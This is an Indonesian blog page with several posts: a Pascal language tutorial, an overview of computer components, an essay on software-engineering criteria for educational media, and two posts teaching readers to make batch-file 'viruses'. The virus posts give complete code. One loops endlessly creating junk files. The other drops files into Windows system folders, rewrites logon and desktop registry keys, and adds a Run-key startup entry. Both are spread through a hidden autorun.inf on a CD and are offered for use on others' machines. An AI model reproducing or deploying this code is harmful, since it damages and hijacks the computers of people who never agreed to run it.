Juli 08, 2010

Contoh Virus

· 0 komentar

Halo,
Ketemu lagi Dengan saya,Sekarang saya akan mengajari Anda Cara Membuat Virus Batch,
Silahkan Buka Notepad

Copy COde Dibawah ini
C:
cd
mkdir\Alert\Warning\Dangers\We_r_watching_u\Boultrack
@echo off
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo ============= ADI love wiwik ==============
echo ============= Ngorok Team ==============
echo ============= SOlo,11 Mei 2008 ==============
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Pause>null
:xyz
echo>>A.reg
echo>>b.chm
echo>>c.dll
echo>>d.htt
cls
goto xyz

lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

Read More......

Bahasa Pemograman Pascal

· 0 komentar

Bahasa pascal adalah bahasa pemrograman tingkat tinggi yang dikembangkan oleh Niklaus Wirth di Zurich pada akhir 1960-an hingga awal 1970-an. Pascal merupakan bahasa pemrograman yang terstruktur, sehingga sering digunakan sebagai sarana awal untuk mempelajari

teknik pemrograman komputer.
1 Reserved Word (Kata Tercadang) Bahasa Pascal
Reserved Word adalah kata-kata yang sudah didefinisikan pada Pascal dan mempunyai arti tertentu. Kata-kata tersebut tidak boleh digunakan sebagai identifier (Pengenal).
Contoh : Program, Begin, End, If, For, While, Repeat, Write, Read.
2 Skema dari program pascal
Skema dari program Pascal adalah sebagai berikut.
Program nama_program;
[ Deklarasi label ]
[ Deklarasi konstanta ]
[ Deklarasi tipe ]
[ Deklarasi variabel ]
[ Deklarasi subprogram ]
Begin
Pernyataan;
….
Pernyataan;
End.
3 Deklarasi Prosedur dan Fungsi
Deklarasi Prosedur (Procedure) dan Fungsi ( Function) digunakan apabila program memiliki subprogram (bagian program) yg diletakkan terpisah dalam blok sendiri.
3.1 Prosedur
Prosedur adalah subprogram yang menerima masukan tetapi tidak mempunyai keluaran secara langsung. Cara mendeklarasikan sebuah prosedur adalah sebagai berikut :
procedure A; { nama prosedur adalah A }
begin
{ statement }
end;
Pendeklarasian prosedur di atas adalah untuk prosedur yang tidak memerlukan parameter. Parameter adalah data masukan untuk subprogram yang nantinya akan diproses lebih lanjut dalam subprogram tersebut. Dalam Pascal, dikenal dua macam parameter yaitu :
1) Parameter nilai (value parameter), dan
2) Parameter referensi (reference parameter).
Cara mendeklarasikan parameter tersebut adalah sebagai berikut :
procedure B(X : integer; var Y : integer);
begin
{ statement }
end;
3.2 Fungsi
Fungsi adalah subprogram yang menerima masukan dan mempunyai keluaran secara langsung. Cara mendeklarasikan sebuah fungsi adalah sebagai berikut :
function A : integer; { nama fungsi adalah A dengan }
begin { tipe data keluaran adalah integer }
{ statement }
A := 3; { nilai yang dikeluarkan fungsi }
end;
Sebagaimana dalam prosedur, fungsi juga dapat diberikan parameter. Cara mendeklarasikan fungsi dengan parameter juga tidak jauh berbeda dengan pendeklarasian parameter pada prosedur.
function B(X : integer) : integer;
begin
{ statement }
B := X * 2;
end;
3.4 Rekursi
Dalam Pascal, ada satu kelebihan dalam cara pemanggilan subprogram. Pascal mengijinkan pemanggilan suatu subprogram dari dalam subprogram itu sendiri. Tidak semua bahasa pemrograman mengijinkan cara pemanggilan subprogram seperti itu karena akan banyak memakan memori. Untuk lebih jelasnya perhatikan potongan program di bawah ini:
procedure Z;
begin
{ statement }
Z;
end
4. Tipe Data
Dalam bahasa Pascal, secara garis besar dikenal dua macam tipe data yaitu tipe data sederhana (primitive type) dan tipe data kompleks (complex type). Tipe data sederhana adalah tipe data yang hanya mampu menyimpan satu nilai tiap satu variabelnya. Contoh tipe data sederhana adalah tipe numerik (integer dan real), tipe data karakter, tipe data boolean dan tipe data ennumerasi. Tipe data kompleks adalah tipe data yang mampu menyimpan lebih dari satu nilai dalam tiap satu variabelnya. Contoh tipe data kompleks adalah string, array (larik), record dan object.
Bentuk umum dari deklarasi tipe data adalah
Type pengenal = tipe
Keterangan:
pengenal : nama pengenal yang menyatakan tipe data.
tipe : tipe data yang berlaku dalam Turbo Pascal.
4.1 Tipe Data Sederhana
4.1.1 Tipe Ordinal
Semua tipe sederhana disebut tipe ordinal kecuali real. Karakteristik tipe data ordinal antara lain :
- Semua kemungkinan nilai dari suatu tipe ordinal merupakan himpunan berurutan dan setiap nilai berkaitan dengan ordinalitasnya yaitu nilai integral.
- Fungsi standard ord dapat diterapkan pada sembarang tipe ordinal untuk mengetahui ordinalitasnya.
- Fungsi standard pred dapat diterapkan untuk mengetahui predesesor.
- Fungsi standard succ dapat diterapkan untuk mengetahui suksesor.
4.1.2 Tipe Integer
Tipe integer adalah tipe data yang nilainya tidak mempunyai titik desimal. Ada lima tipe data yang termasuk dalam kelompok ini seperti terlihat pada tabel di bawah ini.
Tabel 2.1 Tipe integer
Tipe Batas Nilai Ukuran dalam byte

byte 0..255 1
shortint -128..127 1
integer -32768..32767 2
word 0..65535 2
longint -2147483648..2147483647 4
Tipe data juga menentuka operasi yang bisa dikerjakan. Pada tipe integer operator-operator yang bisa dikerjakan antara lain:
Tabel 2.2 Operator-operator pada tipe integer
Operator Kegunaan
+ Penjumlahan
- Pengurangan
* Perkalian
div Pembagian
mod Sisa pembagian
4.1.3 Tipe Boolean
Data tipe boolean mempunyai dua nilai yakni benar dan salah. Dengan memakai operator and, or atau not maka dapat dibentuk ungkapan boolean yang lebih rumit.
4.1.4 Tipe Char
Tipe char digunakan untuk mendefinisikan tipe data yang nilainya merupakan himpunan karakter yang dikenal komputer seperti yang tersaji dalam tabel ASCII. Dalam program, konstanta bertipe char ditulis diantara tanda petik, misalnya ‘A’ . Perlu diingat bahwa data bertipe char hanya terdiri dari 1 karakter.
4.1.5 Tipe Terbilang
Disebut tipe terbilang karena semua nilai disebut satu persatu, contoh
Type Toko = (baru, ramai, sukses, rapi, gadjah)
Perlu diperhatikan bahwa dalam tipe terbilang semua data harus diletakkan di antara kurung, urutan datanya harus diperhatikan karena akan mempengaruhi fungsi pred dan succ.
4.1.6 Tipe Subjangkauan
Tidak jarang terjadi batas nilai yang mungkin untuk suatu perubah merupakan bagian atau subjangkauan dari tipe data yang telah didefinisikan, contoh nilai ujian adalah dari 0 sampai 100.
type Nilai = 0..100;
4.1.7 Tipe Real
Konstanta bertipe real adalah bilangan yang berisi titik desimal. Dalam Pascal paling sedikit harus ada satu digit sebelum dan sesudah titik desimal, tidak boleh ada koma dan nilainya bisa positif atau negatif.
Dalam Turbo Pascal terdapat lima macam tipe real yaitu real, single, double, extended dan comp seperti terlihat pada tabel di bawah ini.

Tipe Batasan Nilai Angka Signifikan Ukuran dalam byte
real 2.9 x 10E-39..1.7 x 10E38 11-12 6
single 1.5 x 10E-45..3.4 x 10e38 7-8 4
double 5.0 x 10E-324..1.7 x 10E308 15-16 8
extended 1.9 x 10E-4951..1.1 x 10E4932 19-20 10
comp -2E63 + 1..2E63 – 1 19-20 8
Operator-operator pada tipe real adalah :

Operator Kegunaan
+ Penjumlahan
- Pengurangan
* Perkalian
/ Pembagian
4.2.2 Tipe Data Kompleks
4.2.2.1 Tipe String
Data yang bertipe string adalah data yang berisi sederetan karakter yang banyaknya karakter bisa berubah-ubah sesuai kebutuhan yaitu dari 1 sampai 255 karakter.
Bentuk umum dari deklarasi tipe string adalah:
type pengenal = string <[panjang]>
Keterangan:
pengenal : nama tipe data.
panjang : bilangan bulat yang menentukan banyaknya karakter, bila parameter panjang karakter tidak ditulis maka dianggap 255 karakter.
4.2.2.2 Tipe Larik
Larik (array) adalah tipe terstruktur yang mempunyai komponen dalam jumlah yang tetap dan setiap komponen mempunyai tipe data yang sama. Posisi masing-masing komponen dalam larik dinyatakan sebagai nomor indeks.
Bentuk umum dari tipe larik adalah
type pengenal = array [tipe_index] of tipe;
pengenal : nama tipe data.
tipe_index : tipe data untuk nomor index.
tipe : tipe data komponen.
Contoh,
type Vek = array [1..100] of integer;
4.2.2.3 Tipe Rekaman
Sama halnya dengan larik, rekaman (record) adalah kumpulan data. Perbedaan antara larik dengan rekaman adalah dalam larik semua elemennya harus bertipe sama tetapi dalam rekaman setiap elemen bisa mempunyai tipe data yang berbeda satu sama lainnya.
Bentuk umum deklarasi rekaman adalah
type pengenal = record
medan1 :tipe1;
medan2 :tipe2;
.
.
.
medann :tipen;
end;
Keterangan:
pengenal : pengenal yang menunjukkan tipe data yang akan dideklarasikan.
medan1,…, medann : nama medan yang akan digunakan.
tipe1,…, tipen : sembarang tipe data yang telah dideklarasikan sebelumnya.
Contoh deklarasi rekaman,
type Tgl_Kalender = record
Tanggal :1..31;
Bulan : 1..12;
Tahun : 1900..2000;
end;
4.2.2.4 Tipe Himpunan
Tipe himpunan adalah kumpulan obyek yang mempunyai tipe data yang sama dan urutan penulisannya tidak diperhatikan.Setiap onyek di dalam suatu himpunan disebut dengan anggota atau elemen himpunan
Bentuk umum deklarasi himpunan adalah
type pengenal = set of tipe_data;
atau dapat juga langsung dideklarasikan dalam bagian deklarasi perubah seperti berikut
var pengenal = set of tipe_data;
Keterangan:
pengenal : nama perubah atau pengenal yang akan dinyatakan sebagai tipe himpunan.
tipe_data : tipe data dari anggota himpunan, harus bertipe ordinal.
Contoh deklarasi himpunan adalah sebagai berikut.
type Irama = (jazz, rock, blues, country, classic);
Musik = set of Irama;
Nilai = set of 0..10;
Untai = set of char;
Huruf = set of ‘A’..’Z’;
Sakit = (pusing, mual, lemas, lesu, letih);
Penyakit = set of sakit;
4.2.2.5 Tipe Berkas
Berkas (file) adalah kumpulan sejumlah komponen yang bertipe data sama yang jumlahnya tidak tentu dan biasanya tersimpan dalam suatu media penyimpan luar. Jumlah komponen dalam berkas dapat ditambah jika diperlukan.
Dalam Pascal, berkas menyediakan data yang nantinya akan digunakan oleh suatu program. Berkas dapat berupa berkas yang disimpan di dalam cakram magnetis, pita magnetis, kartu plong dan sejenisnya atau berupa piranti logika yang selama ini kita gunakan, yaitu dengan statemen input dan output, yang menunjukkan piranti masukan keluaran standar (papan ketik dan layar tampilan).
Bentuk umum dari deklarasi berkas adalah
type pengenal = file of pengenal1;
Keterangan:
pengenal : pengenal yang akan dinyatakan sebagai tipe data berkas.
pengenal1 : tipe data komponen berkas

Read More......

Cara Buat Virus Sederhana Dari Notepad

· 0 komentar

Ini virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…
note: “HANYA BEKERJA PADA WINDOWS XP”
caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:
@echo

off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Read More......

Komponen Komputer

· 0 komentar


Bagi Anda yang masih awan tentang komponen-kompinen atau bagian-bagian dari komputer apa saja, mungkin tulisan berikut dapat membantu Anda. Secara garis besar 2 hal yang sangat mempengaruhi sebuah komputer adalah hardware dan software. Jika kita membahas tentang komponen komputer maka secara otomatis kita akan membicarakan mengenai hardware. Hardware sendiri secara garis besar terbagi atas 3 hal yaitu:
1. Bagian input
2. Peralatan pemrosesan
3. Bagian output
Sekarang akan dibahas hal


diatas satu per satu!
1. Bagian Input
Untuk bagian, komponen-komponen komputer umum yang harus kita ketahui adalah:
A. Keyboard
Keyboard adalah suatu alat yang biasanya diletakkan di depan layar komputer dan fungsinya sebagai penginputan data dari luar dengan cara diketikkan pada keyboard. Saya yakin sebagian besar dari Anda pasti mengetahui komponen ini. Keyboard biasanya menyerupai mesin ketik manual (untuk susunan peletakkan hurufnya). Saat ini dipasaran telah beredar keyboard dengan mengadopsi sitem wireless. Dan biasanya harganya lebih mahal jika dibandingkan dengan keyboard biasa. Jenis-jenis keyboard di pasaran saat ini untuk informasi lebih detailnya adalah: Serial, PS/2, USB dan wireless. Kemudian beberapa merek keyboard yang ada dipasaran antara lain yaitu: Logitech (biasanya harganya paling muahal untuk pasar di Indonesia), Accer,Komic dan masih banyak lagi.
B. Mouse
Saya secara pribadi pernah melihat seorang teman yang dengan lancar memainkan komputer hanya dengan menggunakan keyboard tanpa membutuhkan sebuah mouse. Tapi jika Anda manusia normal, dan tidak ingin capek menghafalkan tombol rahasia di keyboard yang dapat digunakan sebagai mouse, maka nampaknya wajib komputer Anda harus memilki sebuah mouse.
Mouse sendiri berfungi untuk mengarahkan pointer pada layar monitor komputer Anda. Dengan keberadaan mouse maka akan memudahkan kita untuk mengatur posisi pointer sesuai dengan keinginan kita dengan cepat. Ciri-ciri sebuah mouse yang bagus adalah memiliki sensitifitas yang amat tinggi dan tidak memerlukan perawatan yang rumit (biasnya mouse optic dan wireless yang memiliki persyaratan ini, jangan menggunakan mouse manual yang harus rutin dibersihkan untuk menghilangkan debu). Merek mouse yang sangat saya sukai adalah Logitech (karena awet, handal, sensitifnya bagus, dan memiliki pergeseran yang bagus, tapi agak sedikit lebih mahal sedikit dari segi harga).
C. Floppy Disk Drive
Merupakan suatu hardware yang menghubungkan disket dengan komputer, Jadi Anda hendak melakukan pemindahan data dari komputer satu dengan yang lain dengan menggunakan disket, maka disinilah sebaiknya Anda masukkan disketnya. Tapi untuk zaman sekarang pemakaian disket terkikis oleh perkembangan teknologi komputer. Karena ukuran disket hampir sebesar CD dan hanya dapat menyimpan memori yang lebih kecil, maka diskiet sudah ditinggalkan oleh sebagian besar penggunanya. Saat ini alat yang lebih ngetren adalah dengan menggunakan flashdisk.
D. Scanner
Menurut saya ini adalah alat yang sangat jarang digunakan oleh orang, begitu juga untuk pemiliknya (jarang ada orang yang memiliki komputer dan juga punya mesin scanner, ya…. Seperti saya ini toh….). Oleh karena itu tidak heran jika sekali menggunakan jasa alat ini dirental maka Anda akan dikenakan biaya yang cukup lumayan mahal, yaitu kurang lebih Rp 1000,00 per scan. Untuk saat ini kebanyakan ditemukan scanner dengan port penghubungnya ke komputer menggunakan model USB.
E. Piranti Optik
Bagi Anda yang gemar menonton paket hemat (tidak mau pergi ke bioskop, tapi cukup beli film-nya “di perparah dengan film bajakan”) maka alat ini wajib ada di komputer Anda. Berikut beberapa type optic komputer yang dapat disesuaikan dengan kebutuhan Anda:
(1). CD ROM, adalah alat optic membaca inputan dari CD. Kekurangan dari alat ini adalah tidak dapat me-rewrite di CD (memasukkan data ke CD).
(2). CD RW, adalah alat optic yang dapat berfungsi membaca dan me-rewrite file CD. Dengan alat ini maka Anda dapat membuat CD dengan memasukkan file ke dalamnya.
(3). Optik DVD, adalah alat yang fungsinya hampir sama dengan CR ROM, bedanya jika CD ROM untuk CD maka Optik DVD untuk membaca DVD dan CD.
(4). DVD RW (DVD COMBO), bisa digunakan untuk semua jenis aplikasi yang berhubungan dengan optic baik digunakan untuk CD maupun DVD.
F. Piranti Proses
Pada bagian ini umumnya peralatan yang membuat kenapa komputer harganya mahal. Pada bagian pusat proses dinamakan CPU (Central Prosesing Unit) yang merupakan unit proses utama dan terpenting dalam komputer yang mengendalikan seluruh proses pengolahan data mulai dari membaca data dari peralatan input, mengolah atau memproses sampai pada mengeluarkan informasi (Output) ke peralatan Output.
Beberapa peralatan penting yang ada dalam CPU antara lain adalah:
• Memory (lebih familiar di telinga dengan RAM)
• Mainboard (Biasanya paling cepat pension alias rusak), jika diibaratkan makhluk hidup, mungkin mainboard bisa di bilang sebagi badannya. Karena di mainboard banyak diletakkan komponen-komponen penting seperti processor (beserta kipasnya), RAM, VGA dll
• Prosesor (AMD atau Intel), bisa dibilang inilah otanya komputer. Untuk prosesor saat ini yang lagi ngetrend adalah Core 2 Duo dan setingkat diatasnya.
Pada bagian CPU sendiri terdiri dari tiga bagian fungsional yang perlu diperhatikan dalam penggunaan komputer:
1. Register berfungsi menyimpan data sementara yang akan diproses di ALU.
2. CU (Control Unit) berfungsi untuk melakukan pengendalian semua peralatan lainya
3. ALU (Arithmetic Logical Unit) berfungsi melakukan semua proses yang membutuhkan perhitungan matematika dan perbandingan secara logika
G. Peralatan Output
Untuk output pada dasarnya dibedakan atas:
1. Tampilan visual, dalam hal ini monitor memegang peranan yang amat penting. Dalam penampilan visual di monitor sangat dipengaruhi oleh kapasitas VGA.
2. Output berupa suara, tiada lain pasti sebagian besar Anda sudah tahu yaitu speaker. Untuk Speaker komputer, di tanah air banyak merek ternama yang sudah mengembangkan dan memasarkan produknya, diantaranya Altex, Simbada, AudioBox dll.
3. Output berupa cetakkan, untuk hal ini dapat berupa printer dan plotter. Ploter (drum atau table) adalah peralatan keluaran yang digunakan untuk keperluan sistematis seperti mencetak atau mengambar berupa grafik, skematik, dan dapat membuat diagram lainya. Sedangkan printer adalah alat output untuk mencetak file yang biasanya file document, seperti hasil ketikan di office microsoft word misalnya.

Read More......

Aspek Rekayasa Perangkat Lunak dalam Media Pembelajaran

· 0 komentar



“Waduh kok softwarenya nggak mau jalan …”
“Lho kok proses instalasinya sulit sekali …”
Itu mungkin keluhan yang sering kita dengar ketika kita menggunakan sebuah software atau perangkat lunak di komputer kita. Dan bukan sesuatu yang mustahil, kemungkinan besar terjadi juga di perangkat lunak media pembelajaran yang kita kembangkan. Jangan dilupakan bahwa media pembelajaran yang terdiri dari media presentasi pembelajaran (alat batu guru untuk mengajar) dan software pembelajaran mandiri (alat bantu siswa belajar mandiri) adalah juga suatu perangkat lunak. Baik tidaknya sebuah perangkat lunak, biasanya menunjukkan bagaimana kualitas perangkat lunak tersebut, hal ini sudah kita kupas tuntas di artikel tentang pengukuran perangkat lunak. Nah, media pembelajaran yang baik adalah yang memenuhi parameter-parameter berdasarkan disiplin ilmu rekayasa perangkat lunak, seperti pada contoh



diatas (efisiensi, reliabilitas, usabilitas, dsb).
Setelah aspek dan penilaian media pembelajaran kita bahas, artikel ini akan fokus di satu sisi penilaian yaitu aspek rekayasa perangkat lunak. Bagaimanapun juga saya tetap bersandar ke standard pengukuran perangkat lunak (baik ISO standard maupun best practice) pada saat menyusun kriteria-kriteria penilaian. Saya modifikasi sesuai dengan kebutuhan dan supaya lebih mudah dipahami oleh peserta lomba. Kriteria penilaian dalam aspek rekayasa perangkat lunak yang akhirnya disetujui dalam diskusi di tim penyusun (LIPI, Pustekkom, IlmuKomputer.Com) adalah seperti di bawah:
1. Efektif dan Efisien dalam Pengembangan Maupun Penggunaan Media Pembelajaran
“Kok lambat yach?”
“Petunjuk Pemakaian: matikan seluruh program lain, karena program ini perlu memory 1GB untuk dapat dijalankan”
“Program besar sekali, menghabiskan space di komputer!”
Seringkali sebuah program yang sepertinya berukuran kecil dan memiliki fitur yang tidak terlalu rumit, tetapi berjalan sangat lamban. Kalau seandainya saja setiap komputer memiliki kecepatan yang tidak terbatas dan memory (RAM) yang bebas tidak terbatas, maka tentu tidak akan menjadi masalah. Tetapi setiap komputer memiliki kecepatan terbatas, memory (RAM) terbatas dan kapasitas penyimpanan tetap (hardisk) terbatas. Oleh karena itu, penting untuk mengatur pemakaian resource (CPU, RAM dan hardisk) tersebut secara efektif dan efisien. Kelambatan, rendahnya respon dan throughput biasanya terjadi karena pembuat tidak memikirkan efesiensi sumber daya yang terserap oleh program. Misalnya untuk pemakaian gambar-gambar yang ditampilkan dalam ukuran kecil, pembuat tetap menggunakan gambar asli yang beresolusi tinggi, tidak melakukan usaha-usaha kompresi dan pemotongan yang tepat. Sebaliknya, ada pula gambar yang seharusnya memakai resolusi tinggi, tetapi digunakan gambar yang beresolusi rendah.
Hal lain yang memungkinkan tidak efisiennya pemakaian resource adalah penggunaan algoritma yang kurang tepat Misalnya untuk pekerjaan pengurutan (sorting) sebuah kumpulan data, pembuat tidak memanfaatkan algoritma-algoritma sorting yang terkenal efektif seperti: insertion-sort, merge-sort dan lain-lain. Misalnya ada komputer A dengan kecepatan 100 kali lebih cepat dari komputer B, yang menjalankan algoritma yang berbeda untuk masalah yang sama. Kalau kita dapat memilih algoritma yang lebih tepat dan efisien di komputer B, maka program dapat saja berjalan lebih cepat 10 kali lipat di komputer B.
Salah satu kasus yang sering muncul adalah, karena terlalu bersemangat, pembuat media pembelajaran, menampilkan semua pustaka gambar yang ia miliki dan efek-efek animasi dan simulasi yang ia kuasai ke dalam media pembelajaran, meskipun mereka tidak terlalu penting dan efektif dalam membantu proses pembelajaran.
2. Reliabilitas (Kehandalan)
Murid: Pak, program ini kok sering hang ya?
Guru: Kenapa? Kapan errornya?
Murid: Gak tahu, tidak ada pesan error tuh.
Program dikatakan reliable atau handal bila program dapat berjalan dengan baik, tidak mudah hang, crash atau berhenti pada saat pengoperasian. Kehandalan program juga dinilai dari seberapa jauh dapat tetap berjalan meskipun terjadi kesalahan pada pengoperasian (error tolerance). Pengguna memerlukan feedback sesuai dengan kondisi system (termasuk berapa lama pengguna harus menunggu, dll).
3. Maintainabilitas (Dapat Dipelihara/Dikelola dengan Mudah)
“Good software is maintainable” (Reinhard Miller)
“It looks obvious until you try it” (IEEE Software)
“Programming is like poetry. It conveys a message, not only to the computer, but to those who modife and use your program” (Jonathan Bartlett)
Struktur program disusun dengan algoritma, alur penyajian, pengorganisasian, dan keterkaitan antar bagian sehingga mudah dalam modifikasi. Kode atau script tetap sederhana dan mudah dipahami meskipun menjalankan fungsi yang kompleks. Kode bersifat modular dengan dokumentasi pada tiap bagian yang memudahkan dalam modifikasi dan perubahan (maintenance). Sehingga siapa saja yang ingin merubah/memperbaiki/menambah fitur program dapat dengan mudah melakukannya. Selain penambahan fitur, hal yang sering dilakukan oleh programer adalah menemukan bug dalam programnya. Justru ada pernyataan bahwa membersihkan bug adalah 60% dari pekerjaan seorang programer.
Semakin sedikit code program yang Anda tuliskan, semakin kecil keperluan agar code atau program maintainable. Semakin banyak code program yang Anda tuliskan, semakin perlu Anda memikirkan maintainabilitas program Anda.
4. Usabilitas (Mudah Digunakan dan Sederhana dalam Pengoperasiannya)
Layaknya seoseorang yang bingung ketika baru pertama kali datang ke Jakarta dan ingin mencari alamat Jl. Jend. Gatot Subroto 10. Orang tersebut pasti merasa bingung untuk mencari alamat tersebut. Dalam kondisi bingung, orang tersebut tentu akan memanfaatkan marka jalan sebagai penunjuk arah. Dapat dibayangkan apabila di jalan raya tidak disediakan rambu-rambu lalu lintas dan marka jalan, tentu orang akan tersesat dan tidak tahu ke mana arah yang akan dituju. Begitu pula dengan media pembelajaran, ketersediaan tooltip, help, icon, logo, tombol, dsb akan sangat membantu pengguna yang baru pertama kali menggunakan media tersebut. Desain dan tata letak navigasi sangat membantu pengguna untuk memanfaatkan media tersebut. Apabila terjadi kesalahan pada program (error) maka ditampilkan pesan dengan bahasa yang mudah dipahami oleh pengguna.
Konsistensi bentuk dan letak navigasi juga mempengaruhi kenyamanan pengguna ketika menghayati informasi yang tersirat dalam media pembelajaran. Dengan hanya melihat tampilan awal, pengguna dapat mengetahui kondisi program dan dapat menentukan aksi-aksi alternatif. Semua pilihan dan bahan tampak sehingga mudah dicari bilamana diperlukan tanpa mengganggu pengguna dengan informasi yang berlebihan. Pengguna juga dapat dengan sangat mudah menebak, memperkirakan bahkan menentukan relasi antara aksi dan hasil, antara kontrol-kontrol dan efek yang ditimbulkannya, antara status software dan apa yang tampak.
5. Ketepatan Pemilihan Jenis Aplikasi/Software/Tool untuk Pengembangan
Karya media pembelajaran dikembangkan dengan aplikasi dan perangkat yang tepat sesuai dengan kebutuhan pengembang. Contohnya adalah untuk membuat desain grafis, tentu harus menggunakan perangkat lunak pengolah grafis, dan bukan perangkat lunak (aplikasi) yang diciptakan untuk mengolah kata. Contoh lain, untuk membuat presentasi, akan lebih mudah dikembangkan dengan perangkat lunak untuk membuat presentasi. Demikian juga tentang pemanfaatan tool yang tepat dan lebih mudah dalam pembuatan animasi, simulasi, test, dan fitur-fitur yang lain.
6. Kompatibilitas (Media Pembelajaran Dapat Diinstalasi/Dijalankan di Berbagai Hardware dan Software yang Ada)
Perkembangan software dan hardware sudah cukup banyak bervariasi, semakin tinggi spesifikasinya, semakin tinggi kecepatan prosesnya. Bila dulu kecepatan akses RAM paling tinggi 8 MB, saat ini kecepatannya berkali lipat hingga 1 GB, CD ROM yang dulu kecepatan bacanya paling tinggi 4X saat ini CD ROM sudah umum dan memiliki banyak fungsi dengan kapasitas kecepatan yang tinggi, seperti CD-RW dengan speed hingga 52X bahkan ada yang mampu membaca DVD, demikian juga dengan Software Aplikasi, bila dulu aplikasinya sederhana dan cukup panjang proses menjalankan berbagai aplikasi didalamnya, saat ini aplikasi sudah sangat indah dengan tampilan grafis yang baik dan animatif, dengan navigasi yang mudah dan cepat dalam proses menjalankan aplikasinya.
Belajar akan lebih baik, jika setiap orang bisa bekerja dimanapun tanpa ada hambatan spesifikasi komputer dan software yang dipersyaratkan untuk menjalankannya, oleh karenanya hasil karya yang baik kendaknya dapat dijalankan diberbagai kondisi hardware dan sofware yang beragam, artinya bisa dijalankan didalam spesifikasi komputer yang paling rendah sekalipun, bisa dijalankan dengan Operating System dengan platform apapun dan versi manapun, mulai dari yang awal hingga yang terbaru, dan software yang tidak dibatasi oleh versi keluaran baik versi awal maupun versi yang terbaru.
7. Pemaketan Program Media Pembelajaran Terpadu dan Mudah dalam Eksekusi
Media pembelajaran terpaket dengan baik. Proses instalasi berjalan secara otomatis dengan menggunakan Autorun. Dengan sekali install, program langsung dapat digunakan tanpa perlu melakukan instalasi lain satu persatu (plugin, dsb) atau proses rebooting komputer. Shorcut/icon secara otomatis muncul setelah proses instalasi dengan nama yang mudah diidentifikasi. Fitur untuk uninstall program disediakan untuk membantu pengguna apabila sudah tidak memerlukan program tersebut. Program dapat juga dikembangkan tanpa proses instalasi, artinya dengan satu klik semua berjalan dengan sendiri. Hal ini semakin memudahkan pengguna terutama untuk siswa-siswa yang kurang dalam mengenal komputer.
8. Dokumentasi Program Media Pembelajaran yang Lengkap
“Gimana nih cara instalasinya? Kok nggak panduannya?”
Pertanyaan ini muncul ketika media pembelajaran yang telah kita buat ternyata tidak dilengkapi dengan dokumentasi tentang cara instalasi dan cara penggunaan. Definisi rekayasa perangkat lunak menurut Ian Sommerville adalah:
“Program komputer dan dokumentasi yang berhubungan”
Jadi tidak boleh dilupakan bahwa sebutan perangkat lunak itu tidak hanya untuk program komputer, tetapi juga termasuk dokumentasi dan konfigurasi data yang berhubungan yang diperlukan untuk membuat program beroperasi dengan benar. Dengan definisi ini otomatis keluaran (output) produksi perangkat lunak disamping program komputer juga dokumentasi lengkap berhubungan dengannya. Ini yang kadang kurang dipahami oleh pengembang, sehingga menganggap cukup memberikan program yang jalan (running program) ke pengguna.
